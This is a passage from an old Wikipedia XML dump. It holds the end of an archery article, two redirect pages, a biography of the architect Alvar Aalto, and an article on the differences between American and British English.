*[http://www.fca.ca/ Federation of Canadian Archers]
*[http://www.bowhunters.ca/ Alberta Bowhunters Association]
*[http://www.archerslog.com/ Archers Log Online logbook for archery scores]
*[http://www.seventharrow.com/ Traditional Archery in the SCA Kingdom of Caid (Southern California)]
*[http://www.k-orb.gr/accuShot/ AccuShot] Free archery analysis software for PC, PocketPC &amp; UIQ
*[http://www.archery-forum.gr/ archery-forum.gr] Forum of archers in Greece

[[Category:Archery]]
[[Category:Hunting]]
[[Category:Medieval warfare]]
[[Category:Olympic sports]]
[[Category:Precision sports]]
[[Category:Summer Olympic events]]

[[ca:Tir amb arc]]
[[cs:Lukostřelba]]
[[de:Bogenschießen]]
[[es:Tiro con arco]]
[[eo:Arkpafado]]
[[fa:تیراندازی]]
[[fr:Tir à l'arc]]
[[it:Tiro con l'arco]]
[[nl:Boogschieten]]
[[ja:アーチェリー]]
[[no:Bueskyting]]
[[pl:Łucznictwo]]
[[pt:Tiro com arco]]
[[sv:Bågskytte]]
[[zh:射箭]]</text>
    </revision>
  </page>
  <page>
    <title>Al Qaeda</title>
    <id>2008</id>
    <revision>
      <id>15900462</id>
      <timestamp>2004-11-13T17:43:53Z</timestamp>
      <contributor>
        <username>Neutrality</username>
        <id>68411</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Al-Qaeda]]</text>
    </revision>
  </page>
  <page>
    <title>Alvar Aalto</title>
    <id>2009</id>
    <revision>
      <id>41017434</id>
      <timestamp>2006-02-24T14:41:53Z</timestamp>
      <contributor>
        <username>Petri Krohn</username>
        <id>382847</id>
      </contributor>
      <comment>/* Significant buildings */ cleared up Viipuri mess</comment>
      <text xml:space="preserve">'''Hugo Alvar Henrik Aalto''' ([[February 3]], [[1898]] - [[May 11]], [[1976]]) was a [[Finland|Finnish]] [[architect]] and [[designer]].  He was generally known as '''Alvar Aalto'''.

He was noted for his humanistic approach and for being one of the first and the most influential architects of [[Scandinavia|Scandinavian]] [[modernism]], so much so that he is sometimes known as the &quot;Father of Modernism&quot; in Scandinavia.  His work includes [[architecture]], [[furniture]] and [[glassware]].  

He was a member of the [[Congres Internationaux d'Architecture Moderne]]. Major works include the [[Finlandia Hall]] in [[Helsinki]], Finland, and the campus of [[Helsinki University of Technology]].  Aalto's glassware includes the world-famous [[Aalto Vase]]. 

He is the [[eponym]] of the [[Alvar Aalto Medal]], now considered one of world architecture’s most prestigious awards.

== Life and works ==
&lt;!-- This page badly needs more material.  The London Design Museum article might provide some starting points.  http://www.designmuseum.org/designerex/alvar-aalto.htm --&gt;
Alvar Aalto was born in [[Kuortane]], [[Finland]].  He studied architecture at the [[Helsinki University of Technology]] from [[1916]] to [[1921]].  He returned to [[Jyväskylä]], where he opened his first architectural office in [[1923]]. The following year he married architect [[Aino Aalto|Aino Marsio]]. Their honeymoon journey to [[Italy]] sealed an intellectual bond with the culture of the [[Mediterranean]] region that was to remain important to Aalto for the rest of his life.

Aalto's wide field of activity ranged from [[furniture]] and [[glassware]] designs to [[architecture]] and [[painting]]. His vase designs are world-famous.  Aalto furniture is manufactured by [[Artek (company)|Artek]], a company Aalto co-founded.  Aalto glassware (Aino as well as Alvar) is manufactured by [[iittala]].

&lt;!-- and for gods sake discuss his design work.  some diagrams would be in order --&gt;

=== Significant buildings ===
[[Image:Baker House, MIT, Cambridge, Massachusetts.JPG|thumb|right|250px|Detail of Baker House facade onto the [[Charles River]].]]
[[Image:Aalto-Theater 02.jpg|thumb|right|250px|
The Aalto-Theater opera house in [[Essen]], [[Germany]].]]
* [[1921]] - [[1923]]: Bell tower, [[Kauhajärvi]], [[Finland]]
* [[1924]] - [[1928]]: Municipal hospital, [[Alajärvi]], [[Finland]]
* [[1926]] - [[1929]]: Defence Corps Building, [[Jyväskylä]], [[Finland]]
* [[1927]] - [[1935]]: Municipal library, [[Viipuri]], Finland ([[Winter War|now]] Vyborg, [[Russia]]), new drawings, [[1928]], [[1929]], [[1933]], built according to last drawings 1934 - 1935. 
* [[1928]] - [[1929]], [[1930]]: ''Turun Sanomat'' newspaper offices, [[Turku]], [[Finland]]
* [[1928]] - [[1929]]: Tuberculosis sanatorium and staff housing, [[Paimio]], [[Finland]]
* [[1931]]: Central University Hospital, [[Zagreb]], [[Croatia]] ([[Kingdom of Yugoslavia|former Yugoslavia]])
* [[1934]]: Corso theatre, restaurant interior, [[Zürich]], [[Switzerland]]
* [[1937]]: Finnish Pavilion, [[1937]] [[World's Fair]]
* [[1937]]-[[1939]]: Ville Mairea [[Finland]]
* [[1939]]: Finnish Pavilion, [[1939]] [[World's Fair]]
* [[1947]] - [[1948]]: [[Baker House]], [[Massachusetts Institute of Technology]], [[Cambridge, Massachusetts]]
* [[1949]] - [[1966]]: [[Helsinki University of Technology]], [[Espoo]], [[Finland]]
* [[1950]] - [[1957]]: [[Kansaneläkelaitos]] (National Pension Institution) office building, [[Helsinki]], [[Finland]] 
* [[1952]] - [[1958]]: [[Kulttuuritalo|House of Culture]], [[Helsinki]], [[Finland]]
* [[1958]] - [[1987]]: Town centre, [[Seinäjoki]], [[Finland]]
* [[1958]] - [[1972]]: North Jutland Art Museum, [[Aalborg]], [[Denmark]]
* ?? - [[1965]]: Regional Library of [[Lapland]], [[Rovaniemi]], [[Finland]]
* [[1962]] - [[1971]]: [[Finlandia Hall]], [[Helsinki]], [[Finland]]
* [[1963]] - [[1965]]: Building for [[Westmannia-Dalecarlia Nation]], [[Uppsala]], [[Sweden]]
* ?? - [[1968]]: [[Nordic House]] , [[Reykjavik]], [[Iceland]]
* [[1970]]: [[Mount Angel Abbey]] Library, [[Mount Angel]], [[Oregon]]
* [[1959]] - [[1988]]: Essen opera house, [[Essen]], [[Germany]]

[[Image:Aalto vase.jpg|thumb|left|160px|The Savoy Vase, also known as the [[Aalto Vase]].]]

===Furniture and glassware===
* [[1932]]: Paimio Chair [http://www.artek.fi/en/products.html?Id=41]
* Furniture collection for the [[Viipuri]] library
** [[1933]] Three-legged stacking Stool 60 [http://www.artek.fi/en/products.html?Id=60]
** [[1933]] Four-legged Stool E60 [http://www.artek.fi/en/products.html?Id=E60]
* [[1939]] Armchair 406 [http://www.artek.fi/en/products.html?Id=406]
* Lamps
** [[1954]] Floor lamp A805 [http://www.artek.fi/en/products.html?Id=A805]
** [[1959]] Floor lamp A810 [http://www.artek.fi/en/products.html?Id=A810]
* [[1936]]: [[Savoy Vase|Aalto Vase]]

== External links ==
{{Commons|Alvar Aalto}}
=== Archives ===
* [http://www.alvaraalto.fi/ Alvar Aalto Foundation] Custodian of Aalto's architectural drawings and writings.
* [http://janus.uoregon.edu/search/a?searchtype=X&amp;searcharg=alvar+aalto University of Oregon  Aalto collection]
* [http://architect.architecture.sk/alvar-aalto-architect/alvar-aalto-architect.php Alvar Aalto : architect biography]

=== Catalogs ===
* [http://www.artek.fi artek] Aalto furniture; company founded by Aalto.
* [http://www.iittala.com/designor/web/iittalawww.nsf/pages/8F0DB998A9F836DDC2256BE40031B835!OpenDocument&amp;Expand=8&amp;PRODSUB Alvar Aalto glassware]  iittala
* [http://www.moma.org/exhibitions/1998/aalto/ Between Humanism and Materialism] New York Museum of Modern Art exhibit site.  Contains an especially useful timeline of his life and career.

=== Buildings ===
* [http://www.mtangel.edu/library/photos/photos.htm Mt. Angel Abbey Library]
* [http://www.bluffton.edu/~sullivanm/aalto/aalto.html Baker House]
* [http://www.nordjyllandskunstmuseum.dk/bygning/bygningen_main_eng.htm North Jutland Museum]
* [http://www.nordice.is/english/markmid.shtml Nordic House Iceland]

== References ==
=== Göran Schildt ===
Göran Schildt has written and edited many books on Aalto.
* Aalto, Alvar.  ''The Architectural Drawings of Alvar Aalto, 1917-1939, in eleven volumes''.  Prepared by the Alvar Aalto Archive in collaboration with the Museum of Finnish Architecture, Helsinki, and the Alvar Aalto Museum, Jyväskylä; with introduction and project descriptions by Göran Schildt.  New York, Garland Pub., [[1994]].
* Aalto, Alvar.  ''Alvar Aalto in His Own Words''.  Schildt, Göran, (Ed.)  Rizzoli, New York, [[1998]].
* Schildt, Göran.  ''Alvar Aalto: the complete catalogue of architecture, design, and art''.  Timothy Binham, English translator.  Rizzoli, New York, [[1994]].

=== Other authors ===
* Reed, Peter (Ed.)  ''Alvar Aalto: between humanism and materialism''.  Museum of Modern Art/H.N. Abrams.  New York, 1998.

=== Research notes ===
* Aalto is famous and books have been written on many of his designs.  They are also documented in the various architectural magazines.
* One of the most extensive collections of references on Alvar Aalto in the USA can be found at the University of Oregon.

&lt;!-- Copyright restrictions forbid reproduction of architectural drawings and photographs of most recent architecture in Wikipedia. Failing that, only text summaries, diagrams, links, and printed references can be included in Wikipedia articles. --&gt;

[[Category:Architects|Aalto, Alver]]
[[Category:Furniture designers|Aalto, Alver]]
[[Category:Finnish architects|Aalto, Alvar]]
[[Category:Finnish designers|Aalto, Alvar]]
[[Category:1898 births|Aalto, Alvar]]
[[Category:1976 deaths|Aalto, Alvar]]
[[Category:Modernist architects|Aalto, Alvar]]
[[Category:Natives of Southern Ostrobothnia]]

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  </page>
  <page>
    <title>American and International English Differences</title>
    <id>2010</id>
    <revision>
      <id>24331552</id>
      <timestamp>2005-09-29T17:24:15Z</timestamp>
      <contributor>
        <username>Reedy Boy</username>
        <id>449918</id>
      </contributor>
      <minor />
      <comment>updated redirect</comment>
      <text xml:space="preserve">#redirect [[American and British English differences]]</text>
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  <page>
    <title>American and British English differences</title>
    <id>2011</id>
    <revision>
      <id>41821140</id>
      <timestamp>2006-03-01T23:33:01Z</timestamp>
      <contributor>
        <ip>151.196.35.81</ip>
      </contributor>
      <comment>/* Different prepositions in certain contexts */</comment>
      <text xml:space="preserve">&lt;!--Please be aware that the usage of a mixture of American and Commonwealth English in this article is deliberate.--&gt;
This article outlines the differences between '''[[American English]]''', the [[variety (linguistics)|form]] of the [[English language]] spoken in the [[United States]], and '''[[Commonwealth English]]''' (often called '''[[British English]]''').

For the purposes of this article:
* '''American English''' is the form of English used by people in the United States and, as a lingua franca or second language, by people in many parts of the world. American English does not include [[Canadian English]]; although Canadian pronunciation and vocabulary is very similar to that of the United States, Canadian spelling often takes the Commonwealth form. Regions and countries that tend to use American English in teaching and publishing include much of the [[East Asia]] (especially [[Japan]], [[South Korea]], [[Taiwan]], and the [[Philippines]]; although largely excluding the former British colonies of [[Hong Kong]] and [[Singapore]]), the [[Americas]] (excluding other former British colonies such as [[Canada]], [[Jamaica]], and the [[Bahamas]]) and, in Africa, [[Liberia]]. The [[World Bank]], and the [[Organization of American States]], among other organizations, also use American English.
* '''Commonwealth English''' is the form of English used across the [[United Kingdom]] and most of its former colonies in the [[British Empire]], most notably in much of [[Africa]] (including [[South Africa]] and [[Egypt]]), the [[Indian subcontinent]] ([[Pakistan]], [[India]], and [[Bangladesh]]), [[Malta]], [[Australia]] and [[New Zealand]], and portions of [[Southeast Asia]] ([[Myanmar]], [[Singapore]], [[Malaysia]] and [[Thailand]]), as well as [[Hong Kong]]. It is the first language of the vast majority of the inhabitants of [[Ireland]]. Like American English, it is used in many parts of the world as a lingua franca. This form of English, mostly interchangeable with British English, is sometimes called Commonwealth English because most of its speakers live in nations that are members of the [[Commonwealth of Nations]]. Other nations and groups that use British English include the [[European Union]] and, often, the [[United Nations]]. Many international organizations, like the [[International Olympic Committee]], [[NATO]], the [[World Trade Organization]] and [[International Organization for Standardization|ISO]] also use British English. All Middle Eastern Countries, except Israel, use British English. 
* The forms of English spoken in [[Canadian English|Canada]] exhibit features of both British and American dialects; while spelling is closer to British English, pronunciation and vocabulary are much closer to American English.  Many words and phrases thought of as &quot;[[Americanism (general)|Americanisms]]&quot; are also used by Canadians.
* Although '''British English''' is a term used when describing formal ''written'' English used in the United Kingdom, the forms of ''spoken'' English used in the United Kingdom vary considerably more than in most other areas of the world in which English is spoken, even more than in the United States, despite the vastly larger population and land area of the U.S. Dialects and accents vary not only between regions of the UK — for example, in [[Scottish English|Scotland]], [[Mid-Ulster English|Northern Ireland]], and [[Wales]] — but also within England, with differences occurring within the space of a few miles in some cases.  [[Northern Ireland]] has the most numerous accents for such a small area, and different accents can even be detected from different areas of certain towns.  The written form of the language universally taught in schools is Commonwealth English with a slight emphasis on a few words which might be more common in the specific areas than others. For example, although the words &quot;wee&quot; and &quot;small&quot; are interchangeable, one is more likely to see &quot;wee&quot; written by a Scot than by a Londoner.

Although spoken American and British English are generally mutually intelligible, there are enough differences to occasionally cause awkward misunderstandings or even a complete failure to communicate. [[George Bernard Shaw]] once said that the United States and United Kingdom are &quot;two countries divided by a common language&quot;; a similar comment is ascribed to [[Winston Churchill]]. [[Henry Sweet]] predicted in 1877 that within a century, American English, Australian English and British English would be mutually unintelligible, but it may be the case that increased world-wide communication through [[radio]], [[television]], the [[Internet]], and [[globalization]] has reduced the tendency to regional variation. This can result either in some variations becoming extinct (as, for instance, ''[[Truck (disambiguation)|truck]]'' has been gradually replacing ''[[lorry]]'' in much of the world) or in the acceptance of wide variations as &quot;perfectly good English&quot; everywhere.

In addition to its use in [[List of countries by English speaking population|English-speaking countries]], English plays an important role as a technical language around the world, in medicine, computer science, air traffic control, and many other areas of concentrated expertise and formal communication among international professionals.

==Pronunciation==
:''See: [[American and British English pronunciation differences]]''

==Grammar==
===Singular and plural for nouns===
* In British English, singular nouns that describe multiple people are often treated as plural, particularly where one is concerned with the people constituting the team, rather than with the team as an entity.  The singular form is usually used in American.  For example, British &quot;the team are worried&quot;; American &quot;the team is worried&quot;. Americans may use the plural form when the individual membership is clear, for example, &quot;the team take their seats&quot; (not &quot;the team takes its seat(s)&quot;), although it is often rephrased to avoid the singular/plural decision, as in &quot;the team members take their seats&quot;. The difference occurs for all collective nouns, both general terms such as ''team'' and ''company'' and [[proper noun]]s (for example, where a place name is used to refer to a sports team). Proper nouns which are plural in form take a plural verb in both American and British English.  Examples:
** British English: &quot;The Clash are a well-known band.&quot; American English: &quot;The Clash is a well-known band.&quot; Both: &quot;The Beatles are a well-known band.&quot;
** British English: &quot;New England are the champions.&quot; American English: &quot;New England is the champion.&quot;  Both: &quot;The [[New England Patriots|Patriots]] are the champions&quot;.
* Differences in which nouns are the same in both their plural and singular forms, such as the word ''sheep''. In American English, ''shrimp'' is such a word, but in British English the plural of ''shrimp'' is ''shrimps''.  (''Shrimps'' is occasionally heard in the southern U.S., but is otherwise rare, apart from its colloquial use as a pejorative term for small people). An unusual example is ''[[innings]]'', which is both singular and plural in British English, but for which a separate singular form (''inning'') exists in American English.

===Use of tenses===
* British English uses the [[grammatical tense|present perfect tense]] to talk about an event in the recent past and with the words ''already'', ''just'' and ''yet.'' In American usage, these meanings can be expressed with the present perfect or the simple past.
** &quot;Have you cleaned your teeth?&quot; / &quot;Did you clean your teeth?&quot;
** &quot;Have you done your homework yet?&quot; / &quot;Did you do your homework yet?&quot;
** &quot;I've just got home.&quot; / &quot;I just got home.&quot;
** &quot;I've already eaten.&quot; / &quot;I already ate.&quot;
* Similarly, the [[pluperfect tense|pluperfect]] is occasionally replaced by the [[preterite]] in the USA; this is generally regarded as sloppy usage by those Americans who consider themselves careful users of the language.
* In British English, ''have got'' or ''have'' can be used for possession and ''have got to'' and ''have to'' can be used for the modal of necessity. The forms which include ''got'' are usually used in informal contexts and the forms without ''got'' in more formal contexts. In American speech the form without ''got'' is used more than in the UK. American also informally uses ''got'' as a verb for these meanings, ''e.g.'' &quot;I got two cars,&quot; &quot;I got to go&quot;; but these are nonstandard and will be considered sloppy usage by many American speakers.
* The [[subjunctive mood]] is more common in American English in expressions such as: &quot;They suggested that he apply for the job&quot;. British English would have &quot;They suggested that he should apply for the job&quot; (or even &quot;They suggested that he applied for the job&quot;). However, the British usage (&quot;should apply&quot;) is also heard in the United States.

===Verb morphology===
: ''See also: [[wiktionary:Wiktionary_Appendix:Irregular_Verbs|the list of irregular verbs]]''

* Verb past tenses with ''-ed'': Americans tend to use ''dreamed'', ''leaped'', ''learned'', ''spelled''; Commonwealth more commonly uses ''dreamt'', ''leapt'', ''learnt'', ''spelt'', particularly if the speaker uses [[Received Pronunciation]]. As with the &quot;tre&quot; words, the ''t'' endings are often found in older American texts. The forms with ''-ed'' are also common in Commonwealth usage, and preferred by many careful writers of English since they are [[weak verb|regular verbs]]. (Note that the two-syllable form ''learnèd'' {{IPA|/'l&amp;#604;&amp;#720;n&amp;#618;d/}}, usually written simply as ''learned'', is still used as an adjective to mean &quot;educated&quot;, or to refer to academic institutions, in both British English and American English.)
* Other verb past tense forms: Americans more frequently use the irregular forms ''fit'', ''forecast'', ''knit'', ''lit'', ''wed''; the weak forms ''fitted'', ''forecasted'', ''knitted'', ''lighted'', ''wedded'' are more common in Commonwealth use. The distinction is, however, not rigorous as the Commonwealth forms are also found in American, and both ''lit'' and ''forecast'' are not only found in Commonwealth English, but are generally considered standard usage.
* Also, the past participle ''gotten'' is rarely used in modern British English (although it is used in some dialects), which generally uses ''got'' (as do some Americans), except in old expressions such as ''ill-gotten gains''. Commonwealth usage retains the form ''forgotten'', though. Furthermore, according to the Compact Oxford English Dictionary, &quot;The form ''gotten'' is not used in British English but is very common in North American English, though even there it is often regarded as non-standard.&quot;  In North America, most people who use ''gotten'' also use ''got'', with ''gotten'' emphasizing the action of acquiring, and ''got'' tending to indicate simple possession (''Have you gotten it?'', as an example).  
* The past participle ''proven'' is frequently used in American English, although some speakers avoid it, and it remains ''proved'' in British English (except in adjectival use; and usage is different in [[Scots law]]).
* American English further allows other irregular verbs, such as &lt;!--''thrive'' (''throve''&amp;ndash;''thriven'') or --&gt;''dive'' (''dove'') or ''sneak'' (''snuck''), which remain regular in Commonwealth English, and often mixes the preterite and past participle forms (''spring''&amp;ndash;''sprang'' (U.S. also ''sprung'')&amp;ndash;''sprung''), sometimes forcing verbs such as ''shrink'' (''shrank''&amp;ndash;''shrunk'') to have a further form, thus ''shrunk''&amp;ndash;''shrunken''. (These uses are often considered nonstandard; the [[Associated Press Stylebook]] in American English treats some irregular verbs as colloquialisms, insisting on the regular forms for the past tense of ''dive'', ''plead'' and ''sneak''.)

===Presence or absence of syntactic elements===
* Where a statement of intention involves two separate activities, it is acceptable for speakers of American English to use ''to go'' plus bare infinitive. Speakers of British English would instead use ''to go '''and''''' plus bare infinitive: thus where a speaker of American English might say &quot;I'll go take a bath&quot;, British English speakers would say &quot;I'll go ''and'' have a bath&quot;.  (Both can also use the form &quot;to go to&quot; instead to suggest that the action may fail, as in &quot;He went to take/have a bath, but the bath was full of children.&quot;)  Similarly, ''to come'' plus bare infinitive is acceptable to speakers of American English, where speakers of British English would instead use ''to come '''and''''' plus bare infinitive:  thus where a speaker of American English might say ''Come see what I bought'', British English speakers would say, ''Come and see what I've bought'' (notice the addition of &quot;have&quot;: a common British preference).
* Use of prepositions before days denoted by a single word. Where [[British]] people would say &quot;She resigned on Thursday&quot;, Americans often say &quot;She resigned Thursday&quot;, but both forms are common in American usage.  Occasionally, the preposition is also absent when referring to months: &quot;I'll be here December&quot; (although this usage is generally limited to colloquial speech).
* In the UK, ''from'' is used with single dates and times more often than in the United States. Where British speakers and writers may say &quot;the new museum will be open from Tuesday,&quot; Americans always say &quot;the new museum will be open starting Tuesday&quot;, and would probably be confused by the British saying. (This difference does not apply to phrases of the pattern ''from A to B'', which are used in both British and American English.) A variation or alternative of this is the American &quot;the play opens Tuesday&quot; and the British &quot;the play opens on Tuesday&quot;.
* Where an American will ''meet with'' someone, a British person can ''meet'' someone.  To a British person, the use of ''with'' seems to reinforce a notion of mutuality (in this case, the usage is similar to ''to have a meeting with someone''). 
* The verb ''visit'' is often used intransitively in American English, with possibly the additional meaning of &quot;to have a conversation&quot; (as in &quot;to visit with a friend&quot;, a construction that often sounds strange to British ears). 
* In British English, the indirect object of the verb &quot;to write&quot; usually requires the preposition &quot;to&quot;, e.g. &quot;I'll write '''to''' my MP&quot; or &quot;I'll write '''to''' her&quot; (although it is not required in some situations, for example when an indirect object pronoun comes before a direct object noun, e.g. &quot;I'll write '''her''' a letter&quot;). In American English, the &quot;to&quot; can be omitted in many circumstances, e.g. &quot;I'll write my congressman&quot; or &quot;I'll write him&quot;.
* Intransitive verbs often become transitive in American English; for example, British English: &quot;The workers protested against the decision.&quot; American English: &quot;The workers protested the decision.&quot;
* A few 'institutional' nouns take no [[definite article]] when a certain role is implied: for example, &quot;at sea&quot; (as a sailor), &quot;in prison&quot; (as a convict), and &quot;at university&quot; (for British students) or &quot;at/in college&quot; (for American students). Among this group, Commonwealth English has &quot;in [[hospital]]&quot; (as a patient), where American English requires ''in '''the''' hospital''. (A nurse, visitor, etc. would be &quot;in the hospital&quot; in both systems, as the implied role (of patient) does not apply.)
*American English distinguishes ''in back of'' [behind] from ''in '''the''' back of''; the former is unknown in the UK and liable to misinterpretation as the latter.  Both however distinguish ''in front of'' from ''in the front of''.
* American [[legislator]]s and [[lawyer]]s always use the preposition &quot;of&quot; between the name of a legislative act and the year it was passed, while their British equivalents do not.  Compare ''[[Americans with Disabilities Act of 1990]]'' to ''[[Disability Discrimination Act 1995]]''.

===Different prepositions in certain contexts===
* In the United States, the word ''through'' can mean &quot;up to and including&quot; as in ''Monday through Friday''. In the UK ''Monday to Friday'', or ''Monday to Friday inclusive'' is used instead; ''Monday through to Friday'' is also sometimes used. (In some parts of Northern England the term ''while'' can be used in the same way, as in ''Monday while Friday'', whereas in Northern Ireland ''Monday till Friday'' would be more natural.)
* In American English, &quot;in&quot; is never used to describe which street one lives in, whereas in British English &quot;in&quot; is sometimes used when describing a certain place in the street. For example, in British usage one would always live &quot;on Churchill Road&quot;, but might also live &quot;in the middle of Churchill Road&quot;. Thus the lyric &quot;our house, in the middle of our street&quot; from &quot;Our House&quot; by the British band [[Madness (band)|Madness]] is confusing to many Americans. Note that the use of &quot;on&quot; and &quot;in&quot; in British English depends on where the house is; one doesn't live &quot;in the end of Churchill Road&quot;, nor lives &quot;in the corner&quot;
* After ''talk'' American can use the preposition ''with'' but British always uses ''to'' (i.e. &quot;I'll talk with Dave / I'll talk to Dave&quot;. The American form is sometimes seen as more [[politically correct]] in British organisations, inducing the ideal of discussing (with), as opposed to lecturing (to). This is, of course, unless talk is being used as a noun, for example: &quot;I'll have a talk with him&quot; in which case this is acceptable in both British and American English.
* In American English ''from'' is the preposition prescribed for use after the word ''different'': &quot;American English is different from British English in several respects.&quot;  While considered technically incorrect by prescriptionists, ''different than'' is also commonly heard in the US.  The British phrasing ''different to'', however, is almost entirely unknown in the US. When grammar is taught formally in the UK, both ''different than'' and ''different to'' are regarded as incorrect, whereas ''different from'' is considered correct by those who subscribe to grammatical [[Prescription and description|prescription]].
* It is common in British English to say ''opposite to''. American English uses ''opposite of''.

===Miscellaneous grammatical differences===
* In American English there is a normative rule which says that, for a non-human antecedent, ''which'' should not be used in [[Restrictive clause|restrictive relative clauses]]. According to ''[[The Elements of Style]]'' (p. 59), &quot;''That'' is the defining, or restrictive pronoun, ''which'' the nondefining, or nonrestrictive. See Rule 3.&quot;
* In names of American rivers, the word ''river'' usually comes after the name (for example, ''[[Colorado River]]''), whereas for British rivers it comes before (as in ''[[River Thames]]'').  One exception present in British English is the ''[[Fleet River]]'', which is rarely called the ''River Fleet'' by [[Londoner]]s outside of official documentation. An exception in the U.S. is the ''[[River Raisin]]'' in [[Michigan]] named by the French.
* In British English the word ''sat'' is often colloquially used to cover ''sat'', ''sitting'' and ''seated'': &quot;I've been sat here waiting for half an hour.&quot; &quot;The bride's family will be sat on the right side of the church.&quot; This construction is not often heard outside the UK. In the 1960s, its use would mark a speaker as coming from the north of England but by the turn of the 21st century this form had spread to the south. Its use often conveys lighthearted informality, as many speakers intentionally use an ungrammatical construction they would probably not use in [[Formal written English|formal written English]].  This colloquial usage is widely understood by British speakers. Similarly ''stood'' can be used instead of ''standing''.  To an American these usages may imply that the subject had been involuntarily forced to sit or stand.
* In most areas of the United States, the word ''with'' is also used as an adverb: &quot;I'll come with&quot; instead of &quot;I'll come along&quot;.  However, in some British Dialects, 'come with' is used as an abbreviation of 'come with me', as in &quot;I'm going to the office - come with&quot; instead of &quot;I'm going to the office - come with me&quot;.

==Word derivation and compounds==
* Directional suffix ''-ward(s)'': British ''forwards'', ''towards'', ''rightwards'', etc.; American ''forward'', ''toward'', ''rightward''.  The forms with ''-s'' are only used as adverbs or prepositions in American English, though ''-s'' forms are becoming less common save for ''afterwards''. In British English, there is a semantic difference in the usage of the two possible forms.  The ''[[Oxford English Dictionary]]'' states the following about ''forward'' and ''forwards'': &quot;/.../ the latter expresses a definite direction viewed in contrast with other directions. In some contexts either form may be used without perceptible difference of meaning; the following are examples in which only one of them can be used: 'The ratchet-wheel can move only ''forwards''&lt;nowiki&gt;'&lt;/nowiki&gt;; 'the right side of the paper has the maker's name reading ''forwards''&lt;nowiki&gt;'&lt;/nowiki&gt;; 'if you move at all it must be ''forwards''&lt;nowiki&gt;'&lt;/nowiki&gt;; 'my companion has gone ''forward''&lt;nowiki&gt;'&lt;/nowiki&gt;; 'to bring a matter ''forward''&lt;nowiki&gt;'&lt;/nowiki&gt;; 'from this time ''forward''&lt;nowiki&gt;'&lt;/nowiki&gt;.&quot;
* Commonwealth English allows agentive ''-er'' suffix for ''[[football]]'' (also ''[[cricket]]''; often ''[[netball]]''; occasionally ''[[basketball]]'').  American English always uses ''football player'' rather than ''footballer''.  Where the sport's name is usable as a verb, the suffixation is standard in both American English and British English: for example, ''[[golf]]er'', ''[[Ten-pin_bowling|bowler]]'', and ''[[Shooting_sports|shooter]]''.
* English writers everywhere occasionally make new compound words from common phrases; for example, ''health care'' is now being replaced by ''healthcare'' on both sides of the Atlantic.  However, American English has made certain words in this fashion which are still treated as phrases in most Commonwealth countries.  For example, Americans write &quot;trademarks,&quot; but some other countries write &quot;trade-marks&quot; or &quot;trade marks.&quot;
* In [[English_compound#Compound_nouns|compound noun]]s of the form &lt;verb&gt;&amp;lt;noun&gt;, sometimes American English favours the [[Infinitive#Bare_infinitive|bare infinitive]] where British English favours the [[gerund]].  Examples include: ''[[jump rope|jump&amp;nbsp;rope]]'' / ''skipping&amp;nbsp;rope''; ''racecar'' / ''racing&amp;nbsp;car''; ''rowboat'' / ''rowing&amp;nbsp;boat''; ''sailboat'' / ''sailing&amp;nbsp;boat''.  In each of these pairs, the former term is more common in America than the UK and the latter more common in the UK than America (although it is not necessarily the case that the former is more common than the latter within America or the latter more common than the former within the UK).
* Singular attributives in one country may be plural in the other, and ''vice versa''. For example, the UK has a ''drugs problem'' while the United States has a ''drug problem'' (although the singular usage is also commonly heard in the UK); Americans read the &quot;[[Sports]]&quot; section of a newspaper, while the British read the &quot;Sport&quot; section.

==Lexis==
Most of the differences are in connection with concepts originating from the [[nineteenth century]] to the mid [[twentieth century]], where new words were coined independently; almost the entire vocabularies of the [[automobile|car/automobile]] and [[railway|railway/railroad]] industries (see [[Rail terminology]]) are different between the UK and America, for example.  Other sources of difference are slang or vulgar terms, where frequent new coinage occurs, and idiomatic phrases, including phrasal verbs. The differences most likely to create confusion are those where the same word or phrase is used for two different concepts. Regional variations even within the U.S. or the UK can create the same problems.

Generally, American words can be freely interchanged with their British versions within the [[United Kingdom]] and English-speaking Commonwealth nations, without leading to confusion, though this may cause irritation. The reverse situation causes worse problems. However, there are some exceptions, such as  ''gas'' (as in ''gasoline''), and ''stroller'' (in the sense of ''pushchair'') which would be misunderstood by speakers of British English, as well as common trademark names unknown in the other country, such as ''Dumpster'' (U.S.) or ''Sellotape'' (UK). There are, however, many pitfalls that Americans can fall into without realising it; for example, referring to a woman's ''fanny'' in the UK, since the word indicates the buttocks in the U.S. but the vagina in the UK. Speakers of Commonwealth English should be cautious when asking for a ''[[fag]]'' (cigarette) in America, as it is a derogatory term referring to a homosexual in the U.S., although nowadays these alternate meanings are understood in the UK as their U.S. version, dependent on context. Residents of [[North Carolina|North]] and [[South Carolina]] beaches should be wary of inviting their British guests to &quot;go out [[Carolina shag|shagging]],&quot; (a type of dance), for the term in British English refers to sexual intercourse. This meaning has become commonly known in the U.S., however, owing to its repeated usage in the popular [[Austin Powers]] films, so many or most Americans are not likely to approach with such an offer unless that is what is in mind. Similarly, avoid telling Australians or New Zealanders what team you ''root'' for, as the slang meaning of &quot;root&quot; in these countries is sexual intercourse.

===General trends===
While the use of American expressions in British English is often noted in the UK, movement in the opposite direction is less common. But recent examples exist, including the idiom &quot;to go missing,&quot; which had been a distinctively British expression but is used increasingly in American English, at least in journalism. The noun &quot;queue&quot; also seems to be making inroads in the U.S. as well. (The usual American equivalents of &quot;to go missing&quot; and &quot;queue&quot; are &quot;to disappear&quot; and &quot;line&quot;, respectively.) Also, the spelling of 'travelling' and 'traveller' and 'judgement' through observations appear to be creeping into American English.

===Words mainly used in British English===
:''See also: [[List of words mainly used in British English]]''

Speakers of American English are likely to be aware of some British English terms, such as ''lorry'', ''biscuit'', ''chap'', and ''shag'' although they would not generally use them, or may be confused as to whether one means the American or British meaning of some (such as ''biscuit''). They will be able to guess approximately what is meant by some others, such as ''driving licence''. However, use of many other British words, such as ''naff'' (unstylish) or ''busk'' (to play a musical instrument in public with the hope of getting donations from passers-by), risks rendering a sentence incomprehensible to most Americans.

===Words mainly used in American English===
: ''See also: [[List of words mainly used in American English]]''

Speakers of British English are likely to be aware of some American English terms, such as ''sidewalk'', ''gas'', ''cookie'', ''elevator'' although they would not generally use them. They will be able to guess approximately what is meant by some others, such as ''cotton candy''. However, use of some other American words risks rendering a sentence incomprehensible to most British people.

Note that, largely through the influence of [[Hollywood]], the chance of a given Americanism being understood by a British person is significantly greater than in the reverse case.  However, Americans who watch [[britcom|britcoms]] and other imported BBC programs and British news re-broadcasts on American public television ([[PBS]]) are more likely to be familiar with British usages than those who do not.

